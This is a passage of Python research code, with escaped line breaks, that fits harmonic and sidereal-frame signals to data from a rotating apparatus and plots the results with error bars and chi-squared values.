it\\\")\\r\\n if sSig:\\r\\n \\r\\n labSig= average(sSig, weights=sErr**2)\\r\\n else:\\r\\n labSig=[];labErr=[];labAngles=[]\\r\\n labAmp=LabSetData(t=mean(sT), sig=labSig, err=None, chi2=None, labTheta=squeeze(labAngles))\\r\\n else:\\r\\n if sErr.ndim>2:\\r\\n sErr=vstack([sErr[:,0,0], sErr[:,1,1]]).T\\r\\n [labAngles, labSignal, labErr, labChi2]=zip(*getHarmonicsFit(sLabAngles, sSig, sErr))[0] #This returns two angles, and we'll limit ourselves to the first harmonic\\r\\n labAmp=LabSetData(t=mean(sT)*ones(len(labAngles)),\\r\\n sig=array(labSignal), \\r\\n err=sqrt(diag(labErr)),\\r\\n chi2=labChi2,\\r\\n labTheta=array(labAngles))\\r\\n #labAmp=[array(labAmpTemp[0]), array(labAmpTemp[1]), sqrt(diag(labAmpTemp[2]))]\\r\\n ######SIDEREAL-FRAME FITTING##########\\r\\n #LV0=zip(*getHarmonicsFit(sT*2*pi, sSig, sErr))[0] #First harmonic only\\r\\n if sLabAngles is None:\\r\\n print(\\\"Not checked if it works when you don't give lab angles for sequences... we'll presume all measuremetns are taken in the same lab-orientation, but beware!\\\")\\r\\n [sidAngles, sidSignal, sidErr, sidChi2]=zip(*getHarmonicsFit(sT*2*pi, sSig, sErr))[0]\\r\\n else:\\r\\n [sidAngles, sidSignal, sidErr, sidChi2]=zip(*getHarmonicsFit(sT*2*pi + sLabAngles, sSig, sErr))[0]\\r\\n\\r\\n sidFitDat=SiderealFitData(t=mean(sT)*ones(len(labAngles)),\\r\\n #sig=array(sidSignal), err=sqrt(diag(sidErr)),\\r\\n sig=array(sidSignal), err=sidErr,\\r\\n labTheta=array(sidAngles), chi2=sidChi2, sidTheta=None, meta=None)\\r\\n #Repeat this for lab angles, and other sideral angles\\r\\n #sidAmp=[array(sidAmpTemp[0]), array(sidAmpTemp[1]), sqrt(diag(sidAmpTemp[2]))]\\r\\n return labAmp, sidFitDat\\r\\n\\r\\ndef process_continuous_raw(sigRaw, phaseRef, rotationRate, bPlot=False, th0FGz=2.87):\\r\\n #split up data\\r\\n\\r\\n #iterate through data\\r\\n #if phaseRef is a rawSig tuple (e.g. flux-gate), then fit it\\r\\n #else we'll assume it's time-theta pairs, in which case we'll also just interpolate \\r\\n\\r\\n #Fit the raw signal to a sin/cos pair plus some polynomial terms\\r\\n tOffs=sigRaw.t[0]\\r\\n #K=3600*24\\r\\n tSplit, sSplit = MT.splitAtGaps(sd2secs(sigRaw.t-tOffs), sigRaw.sig)\\r\\n tMedSplit, fgSplit = MT.splitAtGaps(sd2secs(phaseRef.t-tOffs), phaseRef.sig)\\r\\n gdInds=[~isnan(s) for s in sSplit]\\r\\n tSplit=[t[gdI] for t, gdI in zip(tSplit, gdInds)]\\r\\n sSplit=[s[gdI] for s, gdI in zip(sSplit, gdInds)]\\r\\n #plot(sig.t, MT.smooth(sig.sig,500, window='hanning'))\\r\\n\\r\\n fp4L=[]\\r\\n err4L=[]\\r\\n chi2L=[]\\r\\n tL=[]\\r\\n fgFitL=[]\\r\\n phaseL=[]\\r\\n thL=[]\\r\\n k=0\\r\\n for t, s, tfg, sfg in zip(tSplit, sSplit, tMedSplit, fgSplit):\\r\\n if t.size<2:\\r\\n continue\\r\\n midT=t[t.size/2]\\r\\n cutOffSecs=0\\r\\n t-=midT\\r\\n I=t.searchsorted(t[-1]-cutOffSecs)\\r\\n t=t[:I]\\r\\n s=s[:I]\\r\\n\\r\\n tfg-=midT\\r\\n I=tfg.searchsorted(tfg[-1]-cutOffSecs)\\r\\n tfg=tfg[:I]\\r\\n sfg=sfg[:I]\\r\\n\\r\\n try:\\r\\n p0=[ rotationRate, 0.03262361, 0.03052155, 5.41955202]\\r\\n gdI=~isnan(sfg)\\r\\n fFG=lambda t, f, a1, a2, offs: a1*sin(2*pi*f*t) + a2*cos(2*pi*f*t) + offs\\r\\n fpFG, err=curve_fit(fFG, tfg[gdI], sfg[gdI],p0=p0)\\r\\n fgFitL.append(fpFG)\\r\\n\\r\\n #figure()\\r\\n #plot(tfg,sfg)\\r\\n #plot(tfg, fFG(tfg, *fpFG))\\r\\n #figure()\\r\\n #plot(tfg, MT.smooth(sfg-fFG(tfg, *fpFG), 10))\\r\\n\\r\\n\\r\\n th0=arctan2(fpFG[1], fpFG[2]) # The angle where the fluxgate shows a minimum deviationF\\r\\n phaseL.append(th0)\\r\\n\\r\\n thfg=2*pi*fpFG[0]*tfg-th0%(2*pi)-2*pi\\r\\n #thfg=2*pi*(fpFG[0]-0.005)*tfg-th0%(2*pi)-2*pi\\r\\n th=interp(t, tfg,thfg)\\r\\n\\r\\n f4=lambda th, a1x, a1y, a2x, a2y, a3x,a3y, p1, p2, p3, p4, p5, offs: a1x*sin(th) + a1y*cos(th) + a2x*sin(2*th) + a2y*cos(2*th)+ a3x*sin(3*th) + a3y*cos(3*th)+ p1*th +p2*th**2 + p3*th**3 + p4*th**4 + p5*th**5 + offs\\r\\n\\r\\n p0=[0.1, 0.1, 1e-5, 1e-7, 1e-9, 0.08]\\r\\n\\r\\n sampleRate=1./median(diff(t))\\r\\n #print(\\\"Sample rate is {}\\\".format(sampleRate))\\r\\n Nds=round(sampleRate)\\r\\n\\r\\n p0=[0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 1e-5, 1e-7, 1e-9, 1e-9, 1e-9, 0.08]\\r\\n th_ds, s_ds=MT.downsample_npts(th,Nds), MT.downsample_npts(s, Nds)\\r\\n if th_ds.size <= len(p0) +1:\\r\\n raise RuntimeError(\\\"not enough data here\\\")\\r\\n fp4, err4=curve_fit(f4, th_ds, s_ds, p0=p0)\\r\\n\\r\\n chi2= sum((f4(th, *fp4)-s)**2)/(th.size-len(p0))\\r\\n #fp, err=curve_fit(f, th,s,p0=p0)\\r\\n #fp2, err2=curve_fit(f2, th, s,p0=p0)\\r\\n #figure()\\r\\n #plot(t,MT.smooth(s,Nds, window='hanning'))\\r\\n #plot(t, f(th, *fp))\\r\\n #plot(t, f2(th, *fp2))\\r\\n #print(\\\"fp4: {0}\\\".format(fp4))\\r\\n fp4L.append(fp4)\\r\\n chi2L.append(chi2)\\r\\n #err4L.append(sqrt(diag(err4)))\\r\\n err4L.append(err4)\\r\\n tL.append(midT)\\r\\n thL.append(th)\\r\\n\\r\\n except RuntimeError:\\r\\n print(\\\"No fit at {}\\\".format(midT))\\r\\n\\r\\n\\r\\n fp4A=array(fp4L)\\r\\n fpA=fp4A[:,:2]\\r\\n fp2A=fp4A[:,2:4]\\r\\n fp3A=fp4A[:,4:6]\\r\\n err4A=array(err4L)\\r\\n errA=err4A[:,:2,:2]\\r\\n err2A=err4A[:,2:4,2:4]\\r\\n err3A=err4A[:,4:6,4:6]\\r\\n\\r\\n chi2A=array(chi2L)\\r\\n\\r\\n\\r\\n tA=array(tL)\\r\\n if bPlot:\\r\\n figure()\\r\\n errorbar(tA, fpA[:,0], errA[:,0],fmt='.')\\r\\n errorbar(tA, fpA[:,1], errA[:,1],fmt='.')\\r\\n title(\\\"1st harmonic\\\")\\r\\n figure()\\r\\n errorbar(tA, fp2A[:,0], err2A[:,0],fmt='.')\\r\\n errorbar(tA, fp2A[:,1], err2A[:,1],fmt='.')\\r\\n title('2nd Harmonic')\\r\\n\\r\\n figure()\\r\\n plot(tA, [p[0] for p in fgFitL])\\r\\n figure()\\r\\n plot(tA, [p[1] for p in fgFitL])\\r\\n plot(tA, [p[2] for p in fgFitL])\\r\\n figure()\\r\\n plot(tA, phaseL)\\r\\n N=tA.size\\r\\n tSeq=tile(secs2sd(tA)+tOffs, [2,2,1]).T\\r\\n sigSeq=hstack( [fpA[:,newaxis, :2], fp2A[:,newaxis,:2], fp3A[:,newaxis,:2]] )\\r\\n errSeq=hstack( [errA[:,newaxis, :2], err2A[:,newaxis,:2], err3A[:, newaxis,:2]] )\\r\\n #chi2Seq=hstack( [chi2_1A[:,newaxis], chi2_2A[:,newaxis]] )\\r\\n chi2Seq=hstack( [chi2A[:,newaxis], chi2A[:,newaxis], chi2A[:,newaxis]] )\\r\\n chi2Seq=dstack([chi2Seq, chi2Seq])\\r\\n sgn=-1 if rotationRate<0 else 1\\r\\n thetaSeq1=vstack( [zeros(N), zeros(N), zeros(N)])\\r\\n #thetaSeq2=vstack( [sgn*ones(N)*pi/2, sgn*ones(N)*pi/4, sgn*ones(N)*pi/6] )\\r\\n thetaSeq2=vstack( [sgn*ones(N)*pi/2, sgn*ones(N)*pi/2, sgn*ones(N)*pi/2] )\\r\\n #thetaSeq1=vstack( [zeros(N), ones(N)*pi/2])\\r\\n #thetaSeq2=vstack( [zeros(N), ones(N)*pi/4])\\r\\n\\r\\n #thetaSeq2=vstack( [ones(N)*pi/2, ones(N)*pi/4])\\r\\n thetaSeq=dstack([thetaSeq1.T, thetaSeq2.T])\\r\\n seqAmp=CorrelationData(\\r\\n t=tSeq.copy(),\\r\\n sig=sigSeq.copy(),\\r\\n err=errSeq.copy(),\\r\\n chi2=chi2Seq.copy(),\\r\\n theta=thetaSeq.copy() + th0FGz, #th0FGz is the orientation of the FGz correlation\\r\\n )\\r\\n return seqAmp\\r\\n\\r\\n\\r\\ndef split_and_process_sequences(seqAmp):\\r\\n seqT, seqSig, seqErr, seqChi2, labAngle=seqAmp\\r\\n def seqFiltAngle(seqAmp, th):\\r\\n mask=nearby_angles(seqAmp.theta[:,0,0], th, 0.1)\\r\\n return CorrelationData(*[s[mask] for s in seqAmp])\\r\\n seqAmp1=CorrelationData(seqAmp.t, *[d[:,0,0].squeeze() for d in seqAmp[1:]])\\r\\n seqAmp2=CorrelationData(seqAmp.t, *[d[:,0,1].squeeze() for d in seqAmp[1:]])\\r\\n\\r\\n\\r\\n\\r\\n thetaRef, xI, yI=group_by_axis(seqAmp1.theta) \\r\\n \\r\\n seqAmp1_0=CorrelationData(*[d[xI] for d in seqAmp1])\\r\\n seqAmp1_90=CorrelationData(*[d[yI] for d in seqAmp1])\\r\\n\\r\\n #seqAmp1_0=seqAmp1_0._replace(theta= seqAmp1_0.theta*sin(seqAmp1.theta[xI]-thetaRef))\\r\\n #seqAmp1_90=seqAmp1_90._replace(theta=seqAmp1_90.theta*cos(seqAmp1.theta[yI]-thetaRef))\\r\\n\\r\\n #seqSig1_0=seqSig1[xI]*sin(labAngle1[xI]-thetaRef)\\r\\n #seqErr1_0=seqErr1[xI]\\r\\n #seqSig1_90=seqSig1[yI]*cos(labAngle1[yI]-thetaRef)\\r\\n #seqErr1_90=seqErr1[yI]\\r\\n #seqT_0=seqT[xI]\\r\\n #seqT_90=seqT[yI]\\r\\n\\r\\n #seqAmp_0=CorrelationData([d[xI] for d in \\r\\n #seqAmp_0CorrelationData(t=seqT_0, sig=seqSig1_0, err=seqErr1_0, chi2=seqChi21[xI], labTheta=labAngle1[xI], None)\\r\\n\\r\\n seqAmpL=(seqAmp1_0, seqAmp1_90, seqAmp1)\\r\\n ampL=[ process_sequences(sAmp) for sAmp in seqAmpL ]\\r\\n\\r\\n #labAmp1_0, sidAmp1_0=process_sequences(seqAmp1_0)\\r\\n #labAmp1_90, sidAmp1_90=process_sequences(seqAmp1_90)\\r\\n #labAmp, sidAmp=process_sequences(seqAmp1)\\r\\n #labAmp0, sidAmp0=process_sequences(seqT_0, seqSig1_0, seqErr1_0, thetaRef)\\r\\n #labAmp90, sidAmp90=process_sequences(seqT_90, seqSig1_90, seqErr1_90, thetaRef+pi/2)\\r\\n #labAmp, sidAmp=process_sequences(seqT, seqSig1, seqErr1, labAngle1)\\r\\n\\r\\n #labAmpAlt= [labAmp0, labAmp90]\\r\\n #NS, EW=average([sidAmp0[1], sidAmp90[1][::-1]], axis=0, weights=[sidAmp[2]**2, sidAmp90[2][::-1]])\\r\\n #NS_err, EW_err = sqrt(sidAmp0[2]**2 + sidAmp90[2][::-1]**2)/2.\\r\\n #sidAmpAlt=[ (NS, EW), (NS_err, EW_err)] \\r\\n \\r\\n return zip(*ampL) + [seqAmpL] # --> (labAmps, sidAmps, seqAmps)\\r\\n #return [ (labAmp, labAmpAlt), (sidAmp, sidAmpAlt)]\\r\\n\\r\\ndef view_raw(rawAmp0, cutAmpL, trigTimes, cutAmpLNames=None, figName=None):\\r\\n if figName is not None:\\r\\n figDontReplace(figName + ' -raw')\\r\\n else:\\r\\n figDontReplace()\\r\\n gs=GridSpec(2,3)\\r\\n ax1=subplot(gs[0,:])\\r\\n ax2=subplot(gs[1,0])\\r\\n ax3=subplot(gs[1,1])\\r\\n ax4=subplot(gs[1,2])\\r\\n\\r\\n ax1.plot(rawAmp0.t, rawAmp0.sig)\\r\\n for cutAmp, name in zip(cutAmpL, cutAmpLNames):\\r\\n ax1.plot(cutAmp.t.ravel(), cutAmp.sig.ravel(), label=name, markersize=5)\\r\\n\\r\\n #ax1.vlines(trigTimes, rawAmp0.sig.min(), rawAmp0.sig.max(), linestyles='dotted')\\r\\n ax1.set_title('raw signal')\\r\\n ax1.set_xlabel('sd')\\r\\n ax1.legend()\\r\\n #cutAmp.sigF=fft(cutAmp.sig- nanmean(cutAmp.sig, axis=-1)[:,:,newaxis])\\r\\n cutAmpSigF, fax=MF.rPSD(cutAmp.sig- nanmean(cutAmp.sig, axis=-1)[:,:,newaxis], t=cutAmp.t[0][0])\\r\\n ax2.plot(fax/3600/24, nanmean(nanmean(abs(cutAmpSigF), axis=0), axis=0))\\r\\n ax2.set_title('PSD')\\r\\n ax2.set_xlabel('Hz')\\r\\n\\r\\n if 0:\\r\\n ax3.hist(nonnan(nanstd(cutAmp.sig, axis=-1).ravel()), bins=30)\\r\\n ax3.set_title('std')\\r\\n\\r\\n ttemp=cutAmp.t[0][0]\\r\\n slopes=[polyfit(ttemp, y, 1)[0] for y in cutAmp.sig.reshape(-1, cutAmp.sig.shape[-1]) if not all(isnan(y))]\\r\\n ax4.hist(nonnan(slopes), bins=30)\\r\\n ax4.set_title('slopes')\\r\\n\\r\\ndef view_correlation_filtering(pointAmpInit, correlationAmpInit, pointAmpFilt, correlationAmpFilt, figName=None, sharexAx=None):\\r\\n if figName is None:\\r\\n figDontReplace()\\r\\n else:\\r\\n figDontReplace(figName+' -Corr diff')\\r\\n gs=GridSpec(3,1)\\r\\n\\r\\n pointAxs=MT.plot_errorbar_and_hist(pointAmpInit.t.ravel(), pointAmpInit.sig.ravel(), pointAmpInit.err.ravel(), subplotSpec=gs[0], sharexs=[sharexAx,None])\\r\\n pointAxs=MT.plot_errorbar_and_hist(pointAmpFilt.t.ravel(), pointAmpFilt.sig.ravel(), \\r\\n pointAmpFilt.err.ravel(), *pointAxs\\r\\n )\\r\\n\\r\\n thetaRef, xI, yI=group_by_axis(correlationAmpInit.theta[:,0,:].ravel()) \\r\\n corAxs=MT.plot_errorbar_and_hist(correlationAmpInit.t.ravel()[xI], \\r\\n correlationAmpInit.sig.ravel()[xI]*sin(correlationAmpInit.theta.ravel()[xI]),\\r\\n correlationAmpInit.err.ravel()[xI], subplotSpec=gs[1], sharexs=[pointAxs[0], None]\\r\\n )\\r\\n MT.plot_errorbar_and_hist(correlationAmpInit.t.ravel()[yI], correlationAmpInit.sig.ravel()[yI]*cos(correlationAmpInit.theta.ravel()[yI]), correlationAmpInit.err.ravel()[yI], *corAxs)\\r\\n\\r\\n thetaRef, xI, yI=group_by_axis(correlationAmpFilt.theta[:,0,:].ravel()) \\r\\n corAxs=MT.plot_errorbar_and_hist(correlationAmpFilt.t.ravel()[xI], \\r\\n correlationAmpFilt.sig.ravel()[xI]*sin(correlationAmpFilt.theta.ravel()[xI]),\\r\\n correlationAmpFilt.err.ravel()[xI], *corAxs\\r\\n )\\r\\n MT.plot_errorbar_and_hist(correlationAmpFilt.t.ravel()[yI], correlationAmpFilt.sig.ravel()[yI]*cos(correlationAmpFilt.theta.ravel()[yI]), correlationAmpFilt.err.ravel()[yI], *corAxs)\\r\\n\\r\\n chi2Axs=MT.plot_scatter_and_hist(correlationAmpInit.t.ravel(), correlationAmpInit.chi2.ravel(), subplotSpec=gs[2], sharexs=[pointAxs[0],None], scatD={'c':'b'})\\r\\n chi2Axs=MT.plot_scatter_and_hist(correlationAmpFilt.t.ravel(), correlationAmpFilt.chi2.ravel(), *chi2Axs, scatD={'c':'g'})\\r\\n\\r\\ndef view_correlations(pointAmp, correlationAmp, figName=None, sharexAx=None, correlationSigComp=None ):\\r\\n if figName is None:\\r\\n figDontReplace()\\r\\n else:\\r\\n figDontReplace(figName+' -Corr')\\r\\n gs=GridSpec(3,1)\\r\\n gs=GridSpec(5,1)\\r\\n\\r\\n if correlationSigComp is not None and 1:\\r\\n #refNonNanM=~isnan(correlationSigComp)\\r\\n\\r\\n diffI=where( (correlationSigComp[:,0].ravel()!=correlationAmp.sig[:,0].ravel()) & (~isnan(correlationSigComp[:,0].ravel())))[0]\\r\\n #diffMask=correlationSigComp[refNonNanM]!=correlationAmp.sig[refNonNanM]\\r\\n\\r\\n #diffI=arange(correlationSigComp.size)[refNonNanM][diffMask.ravel()]\\r\\n #diffAmp[diffAmp==0]=nan\\r\\n #diffMask=~isnan(diffAmp.ravel())\\r\\n #pdb.set_trace()\\r\\n \\r\\n pointAxs=MT.plot_errorbar_and_hist(pointAmp.t.ravel(), pointAmp.sig.ravel(), pointAmp.err.ravel(), subplotSpec=gs[0], sharexs=[sharexAx,None])\\r\\n\\r\\n correlationAmp=rotate_sequence_amps(correlationAmp)\\r\\n thetaRef, xI, yI=group_by_axis(correlationAmp.theta[:,0,:].ravel()) \\r\\n err1h=sqrt(vstack([correlationAmp.err[:,0,0,0],correlationAmp.err[:,0,1,1]]).T)\\r\\n\\r\\n corAxs=MT.plot_errorbar_and_hist(correlationAmp.t[:,0].ravel()[xI], \\r\\n correlationAmp.sig[:,0].ravel()[xI]*cos(correlationAmp.theta[:,0].ravel()[xI]), \\r\\n err1h.ravel()[xI], \\r\\n subplotSpec=gs[1], sharexs=[pointAxs[0], None])\\r\\n MT.plot_errorbar_and_hist(correlationAmp.t[:,0].ravel()[yI], correlationAmp.sig[:,0].ravel()[yI]*sin(correlationAmp.theta[:,0].ravel()[yI]), err1h.ravel()[yI], *corAxs)\\r\\n\\r\\n #pdb.set_trace()\\r\\n if correlationSigComp is not None:\\r\\n #corAxs[0].plot(correlationAmp.t.ravel()[diffMask==xI], diffAmp.ravel()[diffMask==xI], 'rx')\\r\\n xdI=intersect1d(xI, diffI)\\r\\n ydI=intersect1d(yI, diffI)\\r\\n if xdI.size:\\r\\n corAxs[0].plot(correlationAmp.t[:,0].ravel()[xdI], correlationSigComp[:,0].ravel()[xdI]*cos(correlationAmp.theta[:,0].ravel()[xdI]), 'rx')\\r\\n #corAxs[0].plot(correlationAmp.t.ravel()[diffMask==yI], diffAmp.ravel()[diffMask==yI], 'yx')\\r\\n if ydI.size:\\r\\n corAxs[0].plot(correlationAmp.t[:,0].ravel()[ydI], correlationSigComp[:,0].ravel()[ydI]*sin(correlationAmp.theta[:,0].ravel()[ydI]), 'yx')\\r\\n\\r\\n\\r\\n ax=subplot(gs[2])\\r\\n #ax.plot(correlationAmp.t[:,0].ravel()[yI], correlationAmp.chi2[:,0].ravel()[yI],'o')\\r\\n #ax.plot(correlationAmp.t[:,0].ravel()[xI], correlationAmp.chi2[:,0].ravel()[xI],'o')\\r\\n chi21hAxs=MT.plot_scatter_and_hist(correlationAmp.t[:,0].ravel()[xI], correlationAmp.chi2[:,0].ravel()[xI], subplotSpec=gs[2])\\r\\n MT.plot_scatter_and_hist(correlationAmp.t[:,0].ravel()[yI], correlationAmp.chi2[:,0].ravel()[yI], *chi21hAxs)\\r\\n if correlationAmp.t.shape[1]>1: #2H\\r\\n err2h=sqrt(vstack([correlationAmp.err[:,1,0,0],correlationAmp.err[:,1,1,1]]).T)\\r\\n thetaRef, xI2, yI2=group_by_axis(2*correlationAmp.theta[:,1,:].ravel()) \\r\\n cor2hAxs=MT.plot_errorbar_and_hist(correlationAmp.t[:,1].ravel()[xI2], correlationAmp.sig[:,1].ravel()[xI2]*cos(2*correlationAmp.theta[:,1].ravel()[xI2]), err2h.ravel()[xI2], subplotSpec=gs[3], sharexs=[pointAxs[0], None])\\r\\n\\r\\n MT.plot_errorbar_and_hist(correlationAmp.t[:,1].ravel()[yI2], correlationAmp.sig[:,1].ravel()[yI2]*sin(2*correlationAmp.theta[:,1].ravel()[yI2]), err2h.ravel()[yI2], *cor2hAxs)\\r\\n subplot(gs[4]).plot(correlationAmp.t[:,1].ravel(), correlationAmp.chi2[:,1].ravel(),'o')\\r\\n\\r\\n #chi2Axs=MT.plot_scatter_and_hist(correlationAmp.t[:,0].ravel(), correlationAmp.chi2[:,0].ravel(), subplotSpec=gs[2], sharexs=[pointAxs[0],None])\\r\\n\\r\\n if not MT.nearby_angles(thetaRef, 0, 0.1):\\r\\n corAxs[0].set_title('Reference angle: {0}'.format(thetaRef/pi*180))\\r\\n #tight_layout()\\r\\n \\r\\ndef view_sidereal(seqTup, sidFitTup, labFrameTup=None):\\r\\n \\\"\\\"\\\"Not functional anymore\\r\\n \\\"\\\"\\\"\\r\\n figure()\\r\\n fx=lambda th, ax: ax*sin(th)\\r\\n fy=lambda th, ay: ay*cos(th)\\r\\n f=lambda th, ax, ay: ax*sin(th) + ay*cos(th)\\r\\n\\r\\n gs=GridSpec(2,1)\\r\\n sigAxs=MT.plot_errorbar_and_hist(seqTup.t.ravel(), seqTup.sig.ravel(), seqTup.err.ravel(), subplotSpec=gs[0])\\r\\n if seqTup.chi2 is not None:\\r\\n chiAxs=MT.plot_scatter_and_hist(seqTup.t, seqTup.chi2, gs[1])\\r\\n chiAxs[0].set_title(r'$\\\\chi^2$')\\r\\n\\r\\n\\r\\n sigRot=MT.rotMat2d(-sidFitTup.labTheta[0]).dot(sidFitTup.sig)\\r\\n errRot=abs(MT.rotMat2d(-sidFitTup.labTheta[0]).dot(sidFitTup.err)) #This is very fragile- should do full covariance in here.\\r\\n sigAxs[0].plot(seqTup.t, f(2*pi*seqTup.t + 0*sidFitTup.labTheta[0], *sidFitTup.sig),\\r\\n label=\\\"$X$:{:.3} $\\\\pm$ {:.3}, $Y$:{:.3} $\\\\pm$ {:.3}\\\".format(\\r\\n sigRot[0,0], errRot[0,0], sigRot[0,1], errRot[0,1])\\r\\n )\\r\\n sigAxs[0].legend()\\r\\n sigAxs[0].set_title('Sidereal Signal (lab: $S_{0:.3}={1:.3} \\\\pm {2:.3}$, $S_{3:.3}= {4:.3} \\\\pm {5:.3}$'.format(\\r\\n labFrameTup.labTheta[0]/pi*180, labFrameTup.sig[0], labFrameTup.err[0], \\r\\n labFrameTup.labTheta[1]/pi*180, labFrameTup.sig[1], labFrameTup.err[1] ))\\r\\n \\r\\n #Could also do another here if we're fitting both\\r\\n #bothAx1.legend()\\r\\n\\r\\n if 0:\\r\\n for T, A, LV in ([seqT_0, seqSig1_0, sidAmp0], [seqT_90, seqSig1_90, sidAmp90]):\\r\\n if len(A)>3:\\r\\n axLV.plot(T, f(2*pi*T+ LV[0][0] -0*thetaRef, *LV[1] ), label=\\\"$_X$:{:.3} $\\\\pm$ {:.3}, $_Y$:{:.3} $\\\\pm$ {:.3}\\\".format(LV[1][0], sqrt(LV[2][0]), LV[1][1], sqrt(LV[2][1])))\\r\\n else:\\r\\n vprint(\\\"Need at least 3 sequence points\\\")\\r\\n axLV.text( 0.5, 0.05, r'$\\\\theta_0 = {:.3}$'.format(thetaRef/pi*180), bbox=dict(facecolor='grey', alpha=0.1), transform=axLV.transAxes, fontsize=16)\\r\\n axLV.legend(loc=0)\\r\\n\\r\\ndef combine_angle_amps(ampL, plot=False):\\r\\n\\r\\n ampL=[amp for amp in ampL if amp is not None]\\r\\n ts = [ sAmp.t for sAmp in ampL]\\r\\n if ampL:\\r\\n #Might not rotate in this case, but just in case\\r\\n (ths, ys, covs)= zip(*[ MT.rotate_quadrature_sample(sAmp.labTheta, sAmp.sig, sAmp.err) for sAmp in ampL if sAmp is not None])\\r\\n ys=array(ys)\\r\\n if covs[0].ndim>1:\\r\\n errs=array([sqrt(cov.diagonal()) for cov in covs]) #cheat and throw away off-diagonals\\r\\n else:\\r\\n errs=array(covs)\\r\\n\\r\\n\\r\\n ts=array(ts)\\r\\n if ts.ndim < ys.ndim:\\r\\n ts=tile(ts[:,newaxis],2)\\r\\n mn, wEr, apparentUnc, chi2= MT.weightedStats(ys, 1./(errs**2), axis=0, bReturnChi2=True)\\r\\n varSclFact=where( (chi2>1.) & (~isinf(chi2)), chi2, 1.)\\r\\n #calcedUnc=sqrt(nansum(errs**2,axis=0)/sum(~isnan(errs))**2)\\r\\n calcedUnc=1/sqrt(nansum(1/errs**2,axis=0))\\r\\n combAmp=SiderealFitData(mean(ts), mn, diag(calcedUnc**2*varSclFact), chi2, [0,pi/2], [0,pi/2], None) \\r\\n else:\\r\\n ts=ys=errs=array([])\\r\\n combAmp=None #SiderealFitData(*(7*[None]))\\r\\n if plot:\\r\\n if isinstance(plot, Axes):\\r\\n axL=[plot, plot]\\r\\n elif hasattr(plot, \\\"__getitem__\\\"):\\r\\n axL=plot #assume it's a list with two axes\\r\\n else:\\r\\n figure()\\r\\n axL=[gca(), gca()]\\r\\n\\r\\n for t, y, e, ax in zip(ts.T, ys.T, errs.T, axL):\\r\\n ax.errorbar( t, y, e, fmt='.') \\r\\n axL[0].set_title('x')\\r\\n axL[1].set_title('y')\\r\\n\\r\\n #gdInd=~(isnan(ys) | isinf(ys) | isinf(errs))\\r\\n #ys=ys[gdInd]\\r\\n #errs=errs[gdInd]\\r\\n #if sum(~isnan(errs)) <1:\\r\\n #return None\\r\\n #sm.WLS(\\r\\n \\r\\n return combAmp\\r\\n #return mn, calcedUnc, apparentUnc, wEr, chi2\\r\\n\\r\\ndef spSearchSet(timestamp, rSpec, sigWindow, bgWindow, startTime=-inf, endTime=inf, bPlotAll=True ): \\r\\n '''\\r\\n Todos:\\r\\n - Filter out sequence points by chi squared, error bar, or even deviation from the mean\\r\\n - Low pass filter first, then look at slope or remaining RMS for weighting value\\r\\n - Histogram the string points and try to find any common signature to the outliers\\r\\n - Do a multiple regression for the correlation data vs the signal data\\r\\n - Output extra details like 'cosmic' angle, and mean signal in the lab-frame.\\r\\n '''\\r\\n ####################LOAD DATA##########################\\r\\n if hasattr(timestamp, 'fastD'): #If we've actually been handed a dataset, not a timestamp\\r\\n D=timestamp\\r\\n else: #Load one\\r\\n D=SPDataSet(timestamp, startTime=startTime, endTime=endTime)\\r\\n\\r\\n ###################CUT AND PROCESS INTO POINTS###################\\r\\n rawAmp0=RawData(t=D.fastD[0], sig=D.fastD[1])\\r\\n trigTimes=makeTriggers(D.fastD[0], rSpec, bIncludeExtraRot=True);\\r\\n cutAmp=preprocess_raw(rawAmp0, trigTimes, sigWindow)\\r\\n pointAmp=process_raw(cutAmp)\\r\\n if bPlotAll:\\r\\n view_raw(rawAmp0, cutAmp, trigTimes)\\r\\n\\r\\n #################### FILTER OUT BAD POINTS#######################\\r\\n if 0:\\r\\n filterSensorNameL= ['Tilt Sensor 1'],\\r\\n rawSig, badM= filterBySensors(cutAmp,\\r\\n sensDataL=getSensors(D, filterSensorNameL),\\r\\n bView= bPlotAll)\\r\\n \\r\\n ##################PROCESS BY SEQUENCE (CORRELATION)####################\\r\\n seqAmp=process_points(D.apparatusAngles, pointAmp, cutAmp )\\r\\n #view_correlations(seqAmp)\\r\\n\\r\\n ################PROCESS ALL SEQUENCES, I.E. WHOLE SET####################\\r\\n ## Divide the sequences into groups (e.g. EW and NS) and process them, returning also the lab-fram numbers\\r\\n labAmps, sidAmps, seqAmps= split_and_process_sequences(seqAmp)\\r\\n\\r\\n view_sidereal(seqAmps[0], sidAmps[0] )\\r\\n view_sidereal(seqAmps[1], sidAmps[1] )\\r\\n view_sidereal(seqAmps[2], sidAmps[2] )\\r\\n\\r\\n\\r\\n return labAmps, sidAmps#, sidAmpAlt\\r\\n\\r\\nif __name__==\\\"__main__\\\":\\r\\n from pylab import *\\r\\n from scipy import random\\r\\n\\r\\n\\r\\n if 0:\\r\\n # Check string analysis:\\r\\n N=10000\\r\\n t=linspace(0,10,N)\\r\\n dat=(arange(N)%2 -0.5)*1\\r\\n dat+=random.normal(0, size=N)\\r\\n\\r\\n plot(t,dat)\\r\\n vprint(stringAnalysis(t, dat, ones(N)*0.5))\\r\\n \\r\\n if 0: #Check MakeTestData\\r\\n bTest=True\\r\\n dat=MakeTestData(RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[180], extraRotAngle=90), amp=1, sigma=0.01, zeroingTime=500)\\r\\n\\r\\n if 0:\\r\\n D=loadSet('5348.82', startTime=5348.86)\\r\\n nameL=['Tilt Sensor 1']\\r\\n rSpec=RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\\r\\n [ts1]=getSensors(D, nameL)\\r\\n #out=sliceReduceData( ts1[0], ts1[1], \\r\\n #trigTimes + secs2sd(sigWindow.offset), secs2sd(sigWindow.duration) )\\r\\n window=Window(offset=-5.0, duration=4)\\r\\n trigTimes=makeTriggers(ts1[0], rSpec, bIncludeExtraRot=True);\\r\\n ts1Ts, [_, ts1CutSig, ts1CutErr], ts1CutIndxL = sliceReduceData( ts1[0], ts1[1], trigTimes + secs2sd(window.offset), secs2sd(window.duration) ) \\r\\n #M=nanmean(ts1CutSig.ravel())\\r\\n badM, ts1SM=MT.findOutliers(ts1CutSig.ravel(), windowLen=50, sigmas=3, bReturnMeanLine=True)\\r\\n figure()\\r\\n #as\\r\\n plot(ts1Ts.ravel(), ts1CutSig.ravel(),'.')\\r\\n plot(ts1Ts.ravel()[badM], ts1CutSig.ravel()[badM],'.')\\r\\n plot(ts1Ts.ravel(), 